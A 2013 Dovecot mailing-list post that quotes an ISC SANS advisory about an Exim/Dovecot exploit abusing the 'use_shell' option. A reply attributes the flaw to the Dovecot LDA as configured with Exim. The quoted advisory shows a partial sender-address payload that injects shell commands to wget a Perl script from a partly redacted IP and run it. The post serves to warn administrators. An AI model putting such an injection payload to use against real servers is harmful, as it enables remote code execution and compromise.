[Dovecot] from ISC: Exim/Dovecot exploit making the rounds

Noel Butler noel.butler at ausics.net
Sun Jun 9 12:50:06 EEST 2013

Actually, it is an exploit against dovecot LDA, introduced, and caused
by, exim.

On Sun, 2013-06-09 at 09:58 +0200, Luigi Rosa wrote:

> One of our readers wrote in to let us know that he had received an attempted 
> Exim/Dovecot exploit attempt against his email server.  The exploit partially 
> looked like this:
> From: 
> x`wget${IFS}-O${IFS}/tmp/crew.pl${IFS}50.xx.xx.xx/dc.txt``perl${IFS}/tmp/crew.pl`@blaat.com
> (Obviously edited for your safety, and I didn't post the whole thing.)
> This is an exploit against Dovecot that is using the feature "use_shell" against 
> itself.  This feature, unfortunately, is found in the example wiki on Dovecot's 
> website, and also in their example configuration.  We'd caution anyone that is 
> using Dovecot to take a look at their configuration and make use they aren't 
> using the "use_shell" parameter.  Or if you are, make darn sure you know what 
> you are doing, and how to defend yourself.
> https://isc.sans.edu/diary/EximDovecot+exploit+making+the+rounds/15962
> Ciao,
> luigi

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